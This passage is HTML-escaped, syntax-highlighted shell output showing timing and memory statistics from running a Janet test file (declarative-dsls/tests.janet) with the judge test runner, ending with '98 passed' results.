        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;User&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; time (seconds&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 4.64&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;System&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; time (seconds&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0.35&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Percent&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; of CPU this job got: 99&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-job syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-job syntax-shell&quot;&gt;%&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Elapsed&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (wall clock&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;time&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (h:mm:ss or m:ss&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0:05.00&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; shared text size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; unshared data size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; stack size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; total size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Maximum&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; resident set size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 1098372&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; resident set size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Major&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (requiring I/O&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;page&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; faults: 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Minor&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (reclaiming a frame&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;page&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; faults: 238633&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Voluntary&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; context switches: 1&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Involuntary&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; context switches: 193&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For e.g. &lt;code&gt;declarative-dsls/tests.janet&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;98&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; passed&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Command&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; being timed: &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;./bin/janet ./lib/janet/bin/judge declarative-dsls/tests.janet&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;User&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; time (seconds&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0.42&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;System&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; time (seconds&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0.02&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Percent&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; of CPU this job got: 100&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-job syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-job syntax-shell&quot;&gt;%&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Elapsed&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (wall clock&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;time&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (h:mm:ss or m:ss&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0:00.45&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; shared text size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; unshared data size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; stack size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; total size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Maximum&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; resident set size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 61900&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;declarative-dsls/tests.janet&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;98&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; passed&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Command&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; being timed: &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;./bin/janet ./lib/janet/bin/judge declarative-dsls/tests.janet&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;User&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; time (seconds&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0.70&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;System&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; time (seconds&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0.02&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Percent&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; of CPU this job got: 99&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-job syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-job syntax-shell&quot;&gt;%&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Elapsed&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (wall clock&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;time&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (h:mm:ss or m:ss&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0:00.72&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; shared text size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; unshared data size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; stack size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; total size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Maximum&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; resident set size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 54108&lt;/span&gt;
